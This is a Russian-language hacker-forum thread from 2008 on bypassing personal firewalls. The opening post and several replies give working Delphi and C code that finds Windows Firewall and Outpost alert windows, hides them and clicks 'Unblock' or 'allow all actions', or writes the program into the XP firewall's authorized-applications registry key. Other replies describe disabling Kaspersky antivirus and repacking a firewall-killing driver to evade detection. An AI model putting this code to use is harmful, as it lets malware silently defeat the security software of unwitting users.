Авторские статьи Обход брандмауэров.

Discussion in 'Статьи' started by o_OBallers, 14 Aug 2008.

  1. o_OBallers

    o_OBallers Banned

    Joined:
    11 Oct 2007
    Messages:
    23
    Likes Received:
    24
    Reputations:
    0
    Обход брандмауэров.

    Данный метод обхода брандмауэров, не является новым, и известен уже много лет.
    Я решил описать его подробно из-за следующей ситуации:

    Автор вопроса: Как мне обойти брандмауэр.
    Blucksun: Ищи окно, когда найдешь манипулируй дочерними контролами как тебе нужно.

    Ответ Blucksun абсолютно верный только кто из прочитавших, понял как же всё таки обходить брандмауэр.
    Тут ситуация сходная с сексом в подростковой среде, все думают что у товарищей он уже был, а у меня нет, на самом деле ни у кого не было.
    Вообщем лясём-трясём а рабочего кода нет, одни только слова.
    Я решил исправить эту ситуацию всё подробно объяснив.

    Разберёмся на примере стандартного брандмауэра.
    Вначале пишешь прогу которая должна работать с инетом.
    В уже готовый исходник пишешь код открывающий на прослушивание любой порт, например 22222. Тут же вылетает сообщение «Чтобы помочь защитить компьютер…….»,
    Чтобы всё было нормально нужно чтобы была нажата кнопка «Разблокировать».
    Нужно найти окно по заголовку «Оповещение системы безопасности Windows».
    Потом найти контрол с заголовком «Разблокировать».
    Нажать на этот контрол, и приложение будет добавлено в список доверенных.

    Code:
    var Handle1, Handle2: integer;
    begin
      Handle1 := 0;
      Handle2 := 0;
      while  Handle1 = 0 do
        begin
          Handle1 := FindWindow(nil, ‘Оповещение системы безопасности Windows’);
        end;
      Handle2 := FindWindowEx(Handle1, 0, nil, '&Разблокировать');
      SendMessage(Handle2, BM_CLICK, 0, 0);
    end;
    
    Маленькое пояснение по коду. По идее должно быть «Разблокировать» вместо '&Разблокировать' но не верьте своим глазам ужасно хитрые программисты из Microsoft неизвестно зачем добавили невидимый знак амперсанда. Я узнал это запустив программу WinSight32, которая поставляется вместе с Delphi, в ней я нашёл строчку «Оповещение системы безопасности Windows», щёлкнул на плюсик возле неё и увидел все дочерние элементы этого окна возле одного из них и красовалось '&Разблокировать'.

    Стандартный брандмауэр пройден теперь разберёмся с Игнатум Оутпост.
    Чтобы вы не спорили я сразу напишу на какой версии я тестировал код – Agnitum Outpost Firewall FREE 1.0.1817.

    Данный брандмауэр имеет следующие политики Отключить, Запрещать, Блокировать,
    Обучение, Разрешать.
    Отключить, Запрещать, Разрешать, - крайне бесполезные политики приводящие к неработоспособности всех подключений, любо брандмауэр будет тупо висеть в памяти.
    Политика блокировать, разрешает только явно разрешённые подключения, остальные блокирует без разговоров очень неудобно, например скачал ты новую программу работающую с Интернетом установил, а она не работает, потому что ты забыл в настройках её прописать.

    Самая лучшая политика это обучение, как только новая программа лезет в сеть вылезает окно с разнообразными предложениями по поводу этой программы, разумеется возможно ей разрешить выполнять любые действия. Мы рассмотрим добавление нашего приложения в список доверенных при этой политики безопасности.

    Когда работает Outpost, WinSight32 запустить невозможно.
    Но этого, и не надо разработчики написали на кнопках правду как она есть, без всяких дополнительных символов.

    Итак для того чтобы обойти оутпост нужно:
    Спровоцировать брандмауэр показать окно создать окно создания правил.
    Найти окно с заголовком «Создать правило для» + имя вашего приложения заглавными буквами например «Создать правило для MSFTP.EXE».
    Найти дочерний контрол с заголовком «Разрешить этому приложению выполнять любые действия».
    Щёлкнуть на него.
    Найти дочерний контрол с заголовкои «OK».
    Щёлкнуть на него.
    Приложение добавлено в список доверенных.
    Code:
    var Handle1, Handle2: integer;
    begin
      Handle1 := 0;
      Handle2 := 0;
      while  Handle1 = 0 do
        begin
          Handle1 := FindWindow(nil, ‘Создать правило для MSFTP.EXE');
        end;
      Handle2 := FindWindowEx(Handle1, 0, nil, 'Разрешить этому приложению выполнять любые действия');
      SendMessage(Handle2, BM_CLICK, 0, 0);
      Handle2 := FindWindowEx(Handle1, 0, nil, 'OK');
      SendMessage(Handle2, BM_CLICK, 0, 0);
    
    Данный метод если применить мозг можно использовать для обхода или выключения любой другой защиты, будь то любой другой брандмауэр, или незапароленный антивирус.

    o_OBallers(Alaget) специально для античат.
     
    4 people like this.
  2. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Методы хороши были, но увы на англоязычных вариантах это не прокатит.
    небольшое дополнение можно дописать к статье. Всем известный обход XP фаера
    Code:
    procedure fuck_xpfw;
    var
    key:longword;
    ValueName:array[0..255] of char;
    Value:string;
    const
    path='SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List';
    
    begin
     if RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_ALL_ACCESS, key)<>0 then exit;
     GetModuleFileName(GetModuleHandle(nil), ValueName, 256);
     Value:=ValueName+':*:Enabled:RPC';
     RegSetValueEx(key, ValueName, 0, REG_SZ, pchar(Value), length(Value));
     RegCloseKey(key);
    end;
    
    
     
    1 person likes this.
  3. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    хых... у меня всё это выглядело примерно так:

    Code:
    #include <windows.h>
    #include <conio.h>
    
    void sleep(DWORD dwMilliseconds);
    DWORD WINAPI ThreadFunc(LPVOID lpParam)
    {
    while(1000){
    HWND wbm;
    wbm=FindWindow("#32770",0);
    ShowWindow(wbm,SW_HIDE);
    SendMessage(wbm,WM_COMMAND,BN_CLICKED,104);
    }
    }
    
    DWORD WINAPI ThreadFunc1(LPVOID lpParam)
    {
    while(1000){
    HWND opf;
    opf=FindWindow("#32770",0);
    ShowWindow(opf,SW_HIDE);
    CheckDlgButton(opf,1007,0);
    CheckDlgButton(opf,1006,1);
    SendMessage(opf,WM_COMMAND,BN_CLICKED,1055);
    opf=FindWindowEx(opf,0,0,"OK");
    SendMessage(opf,BM_CLICK,0,0);
    }
    }
    
    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow)
    {
    DWORD dwThreadId, dwThrdParam = 1;
    HANDLE hThread;
    HANDLE hThread1;
    hThread = CreateThread(NULL,0,ThreadFunc,&dwThrdParam,0,&dwThreadId);
    hThread1 = CreateThread(NULL,0,ThreadFunc1,&dwThrdParam,0,&dwThreadId);
    if (hThread != NULL)
    {_getch();CloseHandle( hThread );}
    if (hThread != NULL)
    {_getch();CloseHandle( hThread1 );}
    sleep(25);
    return 0;
    }
    И outpost firewall отдыхал.... и брандмауэр тихо сопел в газетку
     
    3 people like this.
  4. Pernat1y

    Pernat1y Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    479
    Likes Received:
    79
    Reputations:
    7
    и того-же каспера так не обойдеш
     
    1 person likes this.
  5. slider

    slider Reservists Of Antichat

    Joined:
    4 Sep 2005
    Messages:
    501
    Likes Received:
    711
    Reputations:
    748
    И даже Каспера можно немного по другому обойти ;)
     
  6. Pernat1y

    Pernat1y Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    479
    Likes Received:
    79
    Reputations:
    7
    "немного по другому", это разрешить в нем управление с других процессов, или еще как-то?
     
  7. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Когдато давно давно был выложен драйвер написанный на asm который запросто отрубал фаеры. Палился жестоко он. Но самое интерестное, что достаточно было гденить в начале поставить pushad popad? скомпельнуть и его сново можно было юзать
     
  8. zeppe1in

    zeppe1in Elder - Старейшина

    Joined:
    12 Jul 2006
    Messages:
    343
    Likes Received:
    66
    Reputations:
    18
    программисты из Microsoft вовсе не хитрые. В случае &Разблокировать буква Р должна быть подчоркнутой. и на неё можно нажать комбинацией alt+Р. Вот для чего нужен &
     
  9. vvs777

    vvs777 Elder - Старейшина

    Joined:
    16 Nov 2004
    Messages:
    394
    Likes Received:
    213
    Reputations:
    4
    На самом деле спектр применения ограничивается только извращенностью головного мозга программиста. :p

    Короче говоря плевать что там подчеркнуто...
    ифов можно кучу. Можно массив ключевых слов на всех языках мира.
    Можно "конфигурацию профилей" сделать для каждой проги и полная универсальность гоотова.
    Можно хук на открытие окна повесить - еще веселее.
    + еще проверка чтоб только на твою прогу а то это будет тотальный ппц =)

    Я так с антивирусами боролся.
    Каспер 5,6 прекрасно идет. :D . 7й уже не пробовал.

    как хоть назвался? хотелось бы посмотреть на это
     
    #9 vvs777, 15 Aug 2008
    Last edited: 15 Aug 2008
  10. Gray_f0x

    Gray_f0x Elder - Старейшина

    Joined:
    31 May 2007
    Messages:
    161
    Likes Received:
    84
    Reputations:
    12
    а как же iptables + NAT на отдельном компьюторе а комп юзвери в подсети которая закрыта для внешки полностью и выход в инет через проксик?
     
  11. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 Gray_f0x Дык для таких случаев берешь конфиги LAN из IE и долбишься через проксю подрубаясь через HTTPS потому что мало где залочен доступ на левые порты с него.
     
  12. Gray_f0x

    Gray_f0x Elder - Старейшина

    Joined:
    31 May 2007
    Messages:
    161
    Likes Received:
    84
    Reputations:
    12
    а можно конкретную методику с конкретными действиями ?

    Ты говориш про "ломление" снаружи ? Я не представляю как ты это сделаеш ? Куда ты будеш ломится ? на 80 порт на котором у меня нету никакой службы ? И какие у IE левые порты ?

    и еще заметь, что для работы IE через прокси с аутентификацией, требуется поддержка ntlm аутентификации со стороны проксика...

    И все-таки до конца не понял смысл твоего поста ...
     
  13. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    "выход в инет через проксик" и "iptables + nat" абсолютно разные вещи. Во 2 случае всё норм будет, а в 1, как сказал slesh, нужно читать настройки lan/ie. Остальное комментировать не буду.
     
  14. 12usver12

    12usver12 Elder - Старейшина

    Joined:
    12 Dec 2007
    Messages:
    50
    Likes Received:
    9
    Reputations:
    0
    очень баянный метод, как его то в аутпосте не прикрыли еще...из всех фаеров самый зверский zonealarm , против него такие штучки вообще не прокатят
     
  15. Gray_f0x

    Gray_f0x Elder - Старейшина

    Joined:
    31 May 2007
    Messages:
    161
    Likes Received:
    84
    Reputations:
    12
    есть юзвери которые ходят без прокси сервера, другим же в iptables закрыт доступ на http и они используют прокси сервер + таки не все приложение можно пустить через прокси сервер, поэтому и поднят NAT.

    И вопрос в другом.